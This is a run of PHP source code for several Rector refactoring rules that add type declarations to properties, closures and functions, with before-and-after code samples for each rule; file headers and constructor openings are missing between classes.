$makePropertyTypedGuard; $this->reflectionResolver = $reflectionResolver; $this->valueResolver = $valueResolver; $this->phpAttributeAnalyzer = $phpAttributeAnalyzer; $this->scalarStringToTypeMapper = $scalarStringToTypeMapper; $this->staticTypeMapper = $staticTypeMapper; $this->constructorAssignDetector = $constructorAssignDetector; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add typed property from JMS Serializer Type attribute', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { #[\JMS\Serializer\Annotation\Type('string')] private $name; } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { #[\JMS\Serializer\Annotation\Type('string')] private ?string $name = null; } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } public function provideMinPhpVersion() : int { return PhpVersionFeature::ATTRIBUTES; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; $classReflection = null; foreach ($node->getProperties() as $property) { if (!$property->isPrivate()) { continue; } if ($property->type instanceof Node) { continue; } if (!$this->phpAttributeAnalyzer->hasPhpAttribute($property, self::JMS_TYPE)) { continue; } if (!$classReflection instanceof ClassReflection) { $classReflection = $this->reflectionResolver->resolveClassReflection($node); } if (!$classReflection instanceof ClassReflection) { return null; } if (!$this->makePropertyTypedGuard->isLegal($property, $classReflection, \false)) { continue; } $inferredType = $this->allAssignNodePropertyTypeInferer->inferProperty($property, $classReflection, $this->file); // has assigned with type if ($inferredType instanceof Type) { continue; } if ($property->props[0]->default instanceof Node) { continue; } $typeValue = null; foreach ($property->attrGroups as $attrGroup) { foreach ($attrGroup->attrs as $attr) { if ($attr->name->toString() === self::JMS_TYPE) { $typeValue = $this->valueResolver->getValue($attr->args[0]->value); break; } } } if (!\is_string($typeValue)) { continue; } $typeValue = Strings::match($typeValue, '#\\w+#'); if (isset($typeValue[0]) && \is_string($typeValue[0])) { $type = $this->scalarStringToTypeMapper->mapScalarStringToType($typeValue[0]); if ($type instanceof MixedType) { $type = new ObjectType($typeValue[0]); } $propertyType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($type, TypeKind::PROPERTY); if (!$propertyType instanceof Identifier && !$propertyType instanceof FullyQualified) { return null; } $isInConstructorAssigned = $this->constructorAssignDetector->isPropertyAssigned($node, $this->getName($property)); $type = $isInConstructorAssigned ? $propertyType : new NullableType($propertyType); $property->type = $type; if (!$isInConstructorAssigned) { $property->props[0]->default = new ConstFetch(new Name('null')); } $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } } addNeverReturnType = $addNeverReturnType; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add "never" return-type for closure that never return anything', [new CodeSample(<<<'CODE_SAMPLE' function () { throw new InvalidException(); } CODE_SAMPLE , <<<'CODE_SAMPLE' function (): never { throw new InvalidException(); } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Closure::class]; } /** * @param Closure $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { return $this->addNeverReturnType->add($node, $scope); } public function provideMinPhpVersion() : int { return PhpVersionFeature::NEVER_TYPE; } } silentVoidResolver = $silentVoidResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add closure return type void if there is no return', [new CodeSample(<<<'CODE_SAMPLE' function () { }; CODE_SAMPLE , <<<'CODE_SAMPLE' function (): void { }; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Closure::class]; } /** * @param Closure $node */ public function refactor(Node $node) : ?Node { // already has return type → skip if ($node->returnType instanceof Node) { return null; } if (!$this->silentVoidResolver->hasExclusiveVoid($node)) { return null; } $node->returnType = new Identifier('void'); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::VOID_TYPE; } } returnTypeInferer = $returnTypeInferer; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return type to closures based on known return values', [new CodeSample(<<<'CODE_SAMPLE' function () { return 100; }; CODE_SAMPLE , <<<'CODE_SAMPLE' function (): int { return 100; }; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Closure::class]; } /** * @param Closure $node */ public function refactor(Node $node) : ?Node { // type is already set if ($node->returnType instanceof Node) { return null; } $closureReturnType = $this->returnTypeInferer->inferFunctionLike($node); // handled by other rules if ($closureReturnType instanceof NeverType) { return null; } $returnTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($closureReturnType, TypeKind::RETURN); if (!$returnTypeNode instanceof Node) { return null; } $node->returnType = $returnTypeNode; return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } } staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Change empty() on nullable object to instanceof check', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run(?AnotherObject $anotherObject) { if (empty($anotherObject)) { return false; } return true; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run(?AnotherObject $anotherObject) { if (! $anotherObject instanceof AnotherObject) { return false; } return true; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Empty_::class, BooleanNot::class]; } /** * @param Empty_|BooleanNot $node * @return null|\PhpParser\Node\Expr\Instanceof_|\PhpParser\Node\Expr\BooleanNot */ public function refactorWithScope(Node $node, Scope $scope) { if ($node instanceof BooleanNot) { if (!$node->expr instanceof Empty_) { return null; } $isNegated = \true; $empty = $node->expr; } else { $empty = $node; $isNegated = \false; } if ($empty->expr instanceof ArrayDimFetch) { return null; } $exprType = $scope->getNativeType($empty->expr); if (!$exprType instanceof UnionType) { return null; } $exprType = TypeCombinator::removeNull($exprType); if (!$exprType instanceof ObjectType) { return null; } $objectType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($exprType, TypeKind::RETURN); if (!$objectType instanceof Name) { return null; } $instanceof = new Instanceof_($empty->expr, $objectType); if ($isNegated) { return $instanceof; } return new BooleanNot($instanceof); } } phpDocInfoFactory = $phpDocInfoFactory; $this->docBlockUpdater = $docBlockUpdater; $this->typeExpressionFromVarTagResolver = $typeExpressionFromVarTagResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Convert inline @var tags to calls to assert()', [new CodeSample(<<<'CODE_SAMPLE' /** @var Foo $foo */ $foo = createFoo(); CODE_SAMPLE , <<<'CODE_SAMPLE' $foo = createFoo(); assert($foo instanceof Foo); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Expression::class]; } /** * @param Expression $node * @return Node[]|null */ public function refactor(Node $node) : ?array { if (!$node->expr instanceof Assign) { return null; } if (!$node->expr->var instanceof Variable) { return null; } $docComment = $node->getDocComment(); if (!$docComment instanceof Doc) { return null; } $phpDocInfo = $this->phpDocInfoFactory->createFromNode($node); if (!$phpDocInfo instanceof PhpDocInfo || $phpDocInfo->getPhpDocNode()->children === []) { return null; } $expressionVariableName = $node->expr->var->name; foreach ($phpDocInfo->getPhpDocNode()->getVarTagValues() as $varTagValueNode) { //remove $ from variable name $variableName = \substr($varTagValueNode->variableName, 1); if ($variableName === $expressionVariableName && $varTagValueNode->description === '') { $typeExpression = $this->typeExpressionFromVarTagResolver->resolveTypeExpressionFromVarTag($varTagValueNode->type, new Variable($variableName)); if ($typeExpression instanceof Expr) { $phpDocInfo->removeByType(VarTagValueNode::class, $variableName); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); $arg = new Arg($typeExpression); $funcCall = new FuncCall(new Name('assert'), [$arg]); $expression = new Expression($funcCall); return [$node, $expression]; } } } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::STRING_IN_ASSERT_ARG; } } typeComparator = $typeComparator; $this->staticTypeMapper = $staticTypeMapper; $this->reflectionProvider = $reflectionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add closure param type based on known passed service/string types of method calls', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' $app = new Container(); $app->extend(SomeClass::class, function ($parameter) {}); CODE_SAMPLE , <<<'CODE_SAMPLE' $app = new Container(); $app->extend(SomeClass::class, function (SomeClass $parameter) {}); CODE_SAMPLE , [new AddClosureParamTypeFromArg('Container', 'extend', 1, 0)])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class, StaticCall::class]; } /** * @param MethodCall|StaticCall $node */ public function refactor(Node $node) : ?Node { foreach ($this->addClosureParamTypeFromArgs as $addClosureParamTypeFromArg) { if ($node instanceof MethodCall) { $caller = $node->var; } elseif ($node instanceof StaticCall) { $caller = $node->class; } else { continue; } if (!$this->isCallMatch($caller, $addClosureParamTypeFromArg, $node)) { continue; } return $this->processCallLike($node, $addClosureParamTypeFromArg); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, AddClosureParamTypeFromArg::class); $this->addClosureParamTypeFromArgs = $configuration; } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall $callLike * @return \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|null */ private function processCallLike($callLike, AddClosureParamTypeFromArg $addClosureParamTypeFromArg) { if ($callLike->isFirstClassCallable()) { return null; } $callLikeArg = $callLike->args[$addClosureParamTypeFromArg->getCallLikePosition()] ?? null; if (!$callLikeArg instanceof Arg) { return null; } // int positions shouldn't have names if ($callLikeArg->name instanceof Identifier) { return null; } $functionLike = $callLikeArg->value; if (!$functionLike instanceof Closure && !$functionLike instanceof ArrowFunction) { return null; } if (!isset($functionLike->params[$addClosureParamTypeFromArg->getFunctionLikePosition()])) { return null; } $callLikeArg = $callLike->getArgs()[self::DEFAULT_CLOSURE_ARG_POSITION] ?? null; if (!$callLikeArg instanceof Arg) { return null; } $hasChanged = $this->refactorParameter($functionLike->params[$addClosureParamTypeFromArg->getFunctionLikePosition()], $callLikeArg); if ($hasChanged) { return $callLike; } return null; } private function refactorParameter(Param $param, Arg $arg) : bool { $closureType = $this->resolveClosureType($arg->value); if (!$closureType instanceof Type) { return \false; } // already set → no change if ($param->type instanceof Node) { $currentParamType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($param->type); if ($this->typeComparator->areTypesEqual($currentParamType, $closureType)) { return \false; } } $paramTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($closureType, TypeKind::PARAM); $param->type = $paramTypeNode; return \true; } /** * @param \PhpParser\Node\Name|\PhpParser\Node\Expr $caller * @param \PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $call */ private function isCallMatch($caller, AddClosureParamTypeFromArg $addClosureParamTypeFromArg, $call) : bool { if (!$this->isObjectType($caller, $addClosureParamTypeFromArg->getObjectType())) { return \false; } return $this->isName($call->name, $addClosureParamTypeFromArg->getMethodName()); } private function resolveClosureType(Expr $expr) : ?Type { $exprType = $this->nodeTypeResolver->getType($expr); if ($exprType instanceof GenericClassStringType) { return $exprType->getGenericType(); } if ($exprType instanceof ConstantStringType) { if ($this->reflectionProvider->hasClass($exprType->getValue())) { return new ObjectType($exprType->getValue()); } return new StringType(); } return null; } } typeComparator = $typeComparator; $this->staticTypeMapper = $staticTypeMapper; $this->methodReflectionResolver = $methodReflectionResolver; $this->typeUnwrapper = $typeUnwrapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Applies type hints to closures on Iterable method calls where key/value types are documented', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { /** * @param Collection $collection */ public function run(Collection $collection) { return $collection->map(function ($item, $key) { return $item . $key; }); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { /** * @param Collection $collection */ public function run(Collection $collection) { return $collection->map(function (string $item, int $key) { return $item . $key; }); } } CODE_SAMPLE )]); } public function getNodeTypes() : array { return [MethodCall::class]; } /** * @param MethodCall $node */ public function refactor(Node $node) : ?Node { if ($node->isFirstClassCallable()) { return null; } $varType = $this->getType($node->var); if (!$varType instanceof IntersectionType || !$varType->isIterable()->yes()) { return null; } $className = $varType->getObjectClassNames()[0] ?? null; if ($className === null) { return null; } if (!$node->name instanceof Identifier) { return null; } $methodReflection = $this->methodReflectionResolver->resolveMethodReflection($className, $node->name->name, $node->getAttribute(AttributeKey::SCOPE)); if (!$methodReflection instanceof MethodReflection) { return null; } $parameters = $methodReflection->getVariants()[0]->getParameters(); if (!$this->methodSignatureUsesCallableWithIteratorTypes($className, $parameters)) { return null; } if (!$this->callUsesClosures($node->getArgs())) { return null; } $nameIndex = []; foreach ($parameters as $index => $parameter) { $nameIndex[$parameter->getName()] = $index; } $valueType = $varType->getIterableValueType(); $keyType = $varType->getIterableKeyType(); $changesMade = \false; foreach ($node->getArgs() as $index => $arg) { if (!$arg instanceof Arg) { continue; } if (!$arg->value instanceof Closure) { continue; } $parameter = \is_string($index) ? $parameters[$nameIndex[$index]] : $parameters[$index]; if ($this->updateClosureWithTypes($className, $parameter, $arg->value, $keyType, $valueType)) { $changesMade = \true; } } if ($changesMade) { return $node; } return null; } private function updateClosureWithTypes(string $className, ParameterReflection $parameter, Closure $closure, Type $keyType, Type $valueType) : bool { // get the ClosureType from the ParameterReflection $callableType = $this->typeUnwrapper->unwrapFirstCallableTypeFromUnionType($parameter->getType()); if (!$callableType instanceof CallableType) { return \false; } $changesMade = \false; foreach ($callableType->getParameters() as $index => $parameterReflection) { $closureParameter = $closure->getParams()[$index] ?? null; if (!$closureParameter instanceof Param) { continue; } if ($this->typeUnwrapper->isIterableTypeValue($className, $parameterReflection->getType())) { if ($this->refactorParameter($closureParameter, $valueType)) { $changesMade = \true; } } elseif ($this->typeUnwrapper->isIterableTypeKey($className, $parameterReflection->getType())) { if ($this->refactorParameter($closureParameter, $keyType)) { $changesMade = \true; } } } return $changesMade; } private function refactorParameter(Param $param, Type $type) : bool { // already set → no change if ($param->type instanceof Node) { $currentParamType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($param->type); if ($this->typeComparator->areTypesEqual($currentParamType, $type)) { return \false; } } $paramTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($type, TypeKind::PARAM); if (!$paramTypeNode instanceof Node) { return \false; } $param->type = $paramTypeNode; return \true; } /** * @param class-string $className * @param ParameterReflection[] $parameters */ private function methodSignatureUsesCallableWithIteratorTypes(string $className, array $parameters) : bool { foreach ($parameters as $parameter) { $callableType = $this->typeUnwrapper->unwrapFirstCallableTypeFromUnionType($parameter->getType()); if (!$callableType instanceof CallableType) { continue; } foreach ($callableType->getParameters() as $parameterReflection) { if ($this->typeUnwrapper->isIterableTypeValue($className, $parameterReflection->getType()) || $this->typeUnwrapper->isIterableTypeKey($className, $parameterReflection->getType())) { return \true; } } } return \false; } /** * @param array $args */ private function callUsesClosures(array $args) : bool { foreach ($args as $arg) { if ($arg instanceof Arg && $arg->value instanceof Closure) { return \true; } } return \false; } } typeComparator = $typeComparator; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add closure param type based on the object of the method call', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' $request = new Request(); $request->when(true, function ($request) {}); CODE_SAMPLE , <<<'CODE_SAMPLE' $request = new Request(); $request->when(true, function (Request $request) {}); CODE_SAMPLE , [new AddClosureParamTypeFromObject('Request', 'when', 1, 0)])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class, StaticCall::class]; } /** * @param MethodCall|StaticCall $node */ public function refactor(Node $node) : ?Node { foreach ($this->addClosureParamTypeFromObjects as $addClosureParamTypeFromObject) { if ($node instanceof MethodCall) { $caller = $node->var; } elseif ($node instanceof StaticCall) { $caller = $node->class; } else { continue; } if (!$this->isCallMatch($caller, $addClosureParamTypeFromObject, $node)) { continue; } $type = $this->getType($caller); if (!$type instanceof ObjectType) { continue; } return $this->processCallLike($node, $addClosureParamTypeFromObject, $type); } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, AddClosureParamTypeFromObject::class); $this->addClosureParamTypeFromObjects = $configuration; } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall $callLike * @return \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|null */ private function processCallLike($callLike, AddClosureParamTypeFromObject $addClosureParamTypeFromArg, ObjectType $objectType) { if ($callLike->isFirstClassCallable()) { return null; } $callLikeArg = $callLike->args[$addClosureParamTypeFromArg->getCallLikePosition()] ?? null; if (!$callLikeArg instanceof Arg) { return null; } // int positions shouldn't have names if ($callLikeArg->name instanceof Identifier) { return null; } $functionLike = $callLikeArg->value; if (!$functionLike instanceof Closure && !$functionLike instanceof ArrowFunction) { return null; } if (!isset($functionLike->params[$addClosureParamTypeFromArg->getFunctionLikePosition()])) { return null; } $callLikeArg = $callLike->getArgs()[self::DEFAULT_CLOSURE_ARG_POSITION] ?? null; if (!$callLikeArg instanceof Arg) { return null; } $hasChanged = $this->refactorParameter($functionLike->params[$addClosureParamTypeFromArg->getFunctionLikePosition()], $objectType); if ($hasChanged) { return $callLike; } return null; } private function refactorParameter(Param $param, ObjectType $objectType) : bool { // already set → no change if ($param->type instanceof Node) { $currentParamType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($param->type); if ($this->typeComparator->areTypesEqual($currentParamType, $objectType)) { return \false; } } $paramTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($objectType, TypeKind::PARAM); $param->type = $paramTypeNode; return \true; } /** * @param \PhpParser\Node\Name|\PhpParser\Node\Expr $name * @param \PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $call */ private function isCallMatch($name, AddClosureParamTypeFromObject $addClosureParamTypeFromArg, $call) : bool { if (!$this->isObjectType($name, $addClosureParamTypeFromArg->getObjectType())) { return \false; } return $this->isName($call->name, $addClosureParamTypeFromArg->getMethodName()); } } typeComparator = $typeComparator; $this->phpVersionProvider = $phpVersionProvider; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add param types where needed', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' (new SomeClass)->process(function ($parameter) {}); CODE_SAMPLE , <<<'CODE_SAMPLE' (new SomeClass)->process(function (string $parameter) {}); CODE_SAMPLE , [new AddParamTypeForFunctionLikeWithinCallLikeArgDeclaration('SomeClass', 'process', 0, 0, new StringType())])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class, StaticCall::class]; } /** * @param CallLike $node */ public function refactor(Node $node) : ?Node { $this->hasChanged = \false; foreach ($this->addParamTypeForFunctionLikeParamDeclarations as $addParamTypeForFunctionLikeParamDeclaration) { switch (\true) { case $node instanceof MethodCall: $type = $node->var; break; case $node instanceof StaticCall: $type = $node->class; break; default: $type = null; break; } if ($type === null) { continue; } if (!$this->isObjectType($type, $addParamTypeForFunctionLikeParamDeclaration->getObjectType())) { continue; } if (!($node->name ?? null) instanceof Identifier) { continue; } if (!$this->isName($node->name, $addParamTypeForFunctionLikeParamDeclaration->getMethodName())) { continue; } $this->processFunctionLike($node, $addParamTypeForFunctionLikeParamDeclaration); } if (!$this->hasChanged) { return null; } return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, AddParamTypeForFunctionLikeWithinCallLikeArgDeclaration::class); $this->addParamTypeForFunctionLikeParamDeclarations = $configuration; } private function processFunctionLike(CallLike $callLike, AddParamTypeForFunctionLikeWithinCallLikeArgDeclaration $addParamTypeForFunctionLikeWithinCallLikeArgDeclaration) : void { if ($callLike->isFirstClassCallable()) { return; } if (\is_int($addParamTypeForFunctionLikeWithinCallLikeArgDeclaration->getCallLikePosition())) { if ($callLike->getArgs() === []) { return; } $arg = $callLike->args[$addParamTypeForFunctionLikeWithinCallLikeArgDeclaration->getCallLikePosition()] ?? null; if (!$arg instanceof Arg) { return; } // int positions shouldn't have names if ($arg->name !== null) { return; } } else { $args = \array_filter($callLike->getArgs(), static function (Arg $arg) use($addParamTypeForFunctionLikeWithinCallLikeArgDeclaration) : bool { if ($arg->name === null) { return \false; } return $arg->name->name === $addParamTypeForFunctionLikeWithinCallLikeArgDeclaration->getCallLikePosition(); }); if ($args === []) { return; } $arg = \array_values($args)[0]; } $functionLike = $arg->value; if (!$functionLike instanceof FunctionLike) { return; } if (!isset($functionLike->params[$addParamTypeForFunctionLikeWithinCallLikeArgDeclaration->getFunctionLikePosition()])) { return; } $this->refactorParameter($functionLike->params[$addParamTypeForFunctionLikeWithinCallLikeArgDeclaration->getFunctionLikePosition()], $addParamTypeForFunctionLikeWithinCallLikeArgDeclaration); } private function refactorParameter(Param $param, AddParamTypeForFunctionLikeWithinCallLikeArgDeclaration $addParamTypeForFunctionLikeWithinCallLikeArgDeclaration) : void { $newParameterType = $addParamTypeForFunctionLikeWithinCallLikeArgDeclaration->getParamType(); // already set → no change if ($param->type !== null) { $currentParamType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($param->type); if ($this->typeComparator->areTypesEqual($currentParamType, $newParameterType)) { return; } } $paramTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($newParameterType, TypeKind::PARAM); $this->hasChanged = \true; // remove it if ($newParameterType instanceof MixedType) { if ($this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::MIXED_TYPE)) { $param->type = $paramTypeNode; return; } $param->type = null; return; } $param->type = $paramTypeNode; } } */ private const SPL_FIXED_ARRAY_TO_SINGLE = ['PhpCsFixer\\Tokenizer\\Tokens' => 'PhpCsFixer\\Tokenizer\\Token', 'PhpCsFixer\\Doctrine\\Annotation\\Tokens' => 'PhpCsFixer\\Doctrine\\Annotation\\Token']; public function __construct(PhpDocTypeChanger $phpDocTypeChanger, PhpDocInfoFactory $phpDocInfoFactory) { $this->phpDocTypeChanger = $phpDocTypeChanger; $this->phpDocInfoFactory = $phpDocInfoFactory; } /** * @return array> */ public function getNodeTypes() : array { return [Function_::class, ClassMethod::class]; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add exact fixed array type in known cases', [new CodeSample(<<<'CODE_SAMPLE' use PhpCsFixer\Tokenizer\Tokens; class SomeClass { public function run(Tokens $tokens) { } } CODE_SAMPLE , <<<'CODE_SAMPLE' use PhpCsFixer\Tokenizer\Token; use PhpCsFixer\Tokenizer\Tokens; class SomeClass { /** * @param Tokens */ public function run(Tokens $tokens) { } } CODE_SAMPLE )]); } /** * @param FunctionLike $node */ public function refactor(Node $node) : ?Node { if ($node->getParams() === []) { return null; } $functionLikePhpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $hasChanged = \false; foreach ($node->getParams() as $param) { if ($param->type === null) { continue; } $paramType = $this->nodeTypeResolver->getType($param->type); if ($paramType->isSuperTypeOf(new ObjectType('SplFixedArray'))->no()) { continue; } if (!$paramType instanceof TypeWithClassName) { continue; } if ($paramType instanceof GenericObjectType) { continue; } $genericParamType = $this->resolveGenericType($paramType); if (!$genericParamType instanceof Type) { continue; } $paramName = $this->getName($param); $changedParamType = $this->phpDocTypeChanger->changeParamType($node, $functionLikePhpDocInfo, $genericParamType, $param, $paramName); if ($changedParamType) { $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } private function resolveGenericType(TypeWithClassName $typeWithClassName) : ?\PHPStan\Type\Generic\GenericObjectType { foreach (self::SPL_FIXED_ARRAY_TO_SINGLE as $fixedArrayClass => $singleClass) { if ($typeWithClassName->getClassName() === $fixedArrayClass) { $genericObjectType = new ObjectType($singleClass); return new GenericObjectType($typeWithClassName->getClassName(), [$genericObjectType]); } } return null; } } typeFactory = $typeFactory; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->staticTypeMapper = $staticTypeMapper; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return type declarations from yields', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function provide() { yield 1; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { /** * @return Iterator */ public function provide(): Iterator { yield 1; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Function_::class, ClassMethod::class]; } /** * @param Function_|ClassMethod $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { $yieldNodes = $this->findCurrentScopeYieldNodes($node); if ($yieldNodes === []) { return null; } // skip already filled type if ($node->returnType instanceof Node && $this->isNames($node->returnType, ['Iterator', 'Generator', 'Traversable', 'iterable'])) { return null; } if ($node instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope)) { return null; } $yieldType = $this->resolveYieldType($yieldNodes, $node); $returnTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($yieldType, TypeKind::RETURN); if (!$returnTypeNode instanceof Node) { return null; } $node->returnType = $returnTypeNode; return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } /** * @return Yield_[]|YieldFrom[] */ private function findCurrentScopeYieldNodes(FunctionLike $functionLike) : array { $yieldNodes = []; $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $functionLike->getStmts(), static function (Node $node) use(&$yieldNodes) : ?int { // skip anonymous class and inner function if ($node instanceof Class_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } // skip nested scope if ($node instanceof FunctionLike) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($node instanceof Stmt && !$node instanceof Expression) { $yieldNodes = []; return NodeTraverser::STOP_TRAVERSAL; } if (!$node instanceof Yield_ && !$node instanceof YieldFrom) { return null; } $yieldNodes[] = $node; return null; }); return $yieldNodes; } /** * @param \PhpParser\Node\Expr\Yield_|\PhpParser\Node\Expr\YieldFrom $yield */ private function resolveYieldValue($yield) : ?Expr { if ($yield instanceof Yield_) { return $yield->value; } return $yield->expr; } /** * @param array $yieldNodes * @return Type[] */ private function resolveYieldedTypes(array $yieldNodes) : array { $yieldedTypes = []; foreach ($yieldNodes as $yieldNode) { $value = $this->resolveYieldValue($yieldNode); if (!$value instanceof Expr) { // one of the yields is empty return []; } $resolvedType = $this->nodeTypeResolver->getType($value); if ($resolvedType instanceof MixedType) { continue; } $yieldedTypes[] = $resolvedType; } return $yieldedTypes; } /** * @param array $yieldNodes * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike * @return \Rector\StaticTypeMapper\ValueObject\Type\FullyQualifiedObjectType|\Rector\StaticTypeMapper\ValueObject\Type\FullyQualifiedGenericObjectType */ private function resolveYieldType(array $yieldNodes, $functionLike) { $yieldedTypes = $this->resolveYieldedTypes($yieldNodes); $className = $this->resolveClassName($functionLike); if ($yieldedTypes === []) { return new FullyQualifiedObjectType($className); } $yieldedTypes = $this->typeFactory->createMixedPassedOrUnionType($yieldedTypes); return new FullyQualifiedGenericObjectType($className, [$yieldedTypes]); } /** * @param \PhpParser\Node\Stmt\Function_|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Expr\Closure $functionLike */ private function resolveClassName($functionLike) : string { $returnTypeNode = $functionLike->getReturnType(); if ($returnTypeNode instanceof Identifier && $returnTypeNode->name === 'iterable') { return 'Iterator'; } if ($returnTypeNode instanceof Name && !$this->nodeNameResolver->isName($returnTypeNode, 'Generator')) { return $this->nodeNameResolver->getName($returnTypeNode); } return 'Generator'; } } silentVoidResolver = $silentVoidResolver; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add function return type void if there is no return', [new CodeSample(<<<'CODE_SAMPLE' function restore() { } CODE_SAMPLE , <<<'CODE_SAMPLE' function restore(): void { } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Function_::class]; } /** * @param Function_ $node */ public function refactor(Node $node) : ?Node { // already has return type → skip if ($node->returnType instanceof Node) { return null; } if (!$this->silentVoidResolver->hasExclusiveVoid($node)) { return null; } $node->returnType = new Identifier('void'); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::VOID_TYPE; } } staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add type to property by added rules, mostly public/property by parent type', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass extends ParentClass { public $name; } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass extends ParentClass { public string $name; } CODE_SAMPLE , [new AddPropertyTypeDeclaration('ParentClass', 'name', new StringType())])]); } /** * @return array> */ public function getNodeTypes() : array { return [Property::class]; } /** * @param Property $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { // type is already known if ($node->type !== null) { return null; } $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return null; } foreach ($this->addPropertyTypeDeclarations as $addPropertyTypeDeclaration) { if (!$this->isClassReflectionType($classReflection, $addPropertyTypeDeclaration->getClass())) { continue; } if (!$this->isName($node, $addPropertyTypeDeclaration->getPropertyName())) { continue; } $typeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($addPropertyTypeDeclaration->getType(), TypeKind::PROPERTY); if (!$typeNode instanceof Node) { // invalid configuration throw new ShouldNotHappenException(); } $node->type = $typeNode; return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, AddPropertyTypeDeclaration::class); $this->addPropertyTypeDeclarations = $configuration; } private function isClassReflectionType(ClassReflection $classReflection, string $type) : bool { if ($classReflection->hasTraitUse($type)) { return \true; } return $classReflection->isSubclassOf($type); } } allAssignNodePropertyTypeInferer = $allAssignNodePropertyTypeInferer; $this->propertyTypeDecorator = $propertyTypeDecorator; $this->varTagRemover = $varTagRemover; 